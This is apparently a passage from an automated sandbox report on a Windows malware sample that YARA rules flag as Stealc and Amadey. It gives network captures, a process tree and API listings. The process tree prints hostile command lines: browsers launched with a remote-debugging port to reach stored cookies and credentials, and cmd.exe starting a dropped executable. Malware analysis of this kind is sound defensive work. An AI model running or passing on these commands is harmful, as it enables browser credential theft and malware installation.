2024-11-17 02:42:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:45 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:45 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024245Z-16547b76f7ff9zf4hC1DFW2pfc000000019000000000ar0s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:45 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:45 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:45 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024245Z-1866b5c5fbb2t6txhC1DFWa2qc00000003n000000000h927 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:45 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Target ID:	0
Start time:	21:42:06
Start date:	16/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x820000
File size:	1'785'344 bytes
MD5 hash:	B565A462E3C86B9EC9ECC1B2107C1D0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2088852117.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2587375541.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2590695156.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:42:16
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:42:16
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2716 --field-trial-handle=2624,i,784947958106043157,14754266140476347542,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:42:26
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:42:26
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2228,i,2147503693101938969,1745895719628420453,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:42:26
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:42:27
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	21:42:31
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6792 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:42:31
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6984 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:42:55
Start date:	16/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDHIEBAAK.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:42:55
Start date:	16/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:42:55
Start date:	16/11/2024
Path:	C:\Users\user\DocumentsFIDHIEBAAK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFIDHIEBAAK.exe"
Imagebase:	0x6d0000
File size:	3'309'056 bytes
MD5 hash:	10282F683CC2BB574D550E549C7856A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2623925226.00000000006D1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:42:57
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x4f0000
File size:	3'309'056 bytes
MD5 hash:	10282F683CC2BB574D550E549C7856A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2656933976.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:42:57
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4f0000
File size:	3'309'056 bytes
MD5 hash:	10282F683CC2BB574D550E549C7856A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2658818239.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:43:27
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4456 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	21:44:00
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4f0000
File size:	3'309'056 bytes
MD5 hash:	10282F683CC2BB574D550E549C7856A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3331950957.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	21:44:10
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe"
Imagebase:	0x340000
File size:	1'879'040 bytes
MD5 hash:	039A5670B4C56BD2AA19CDFBEF068186
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GenuntelineI, xrefs: 6C653639
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
GTC, xrefs: 6C653912
QPC, xrefs: 6C6538FC
AuthcAMDenti, xrefs: 6C653946

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

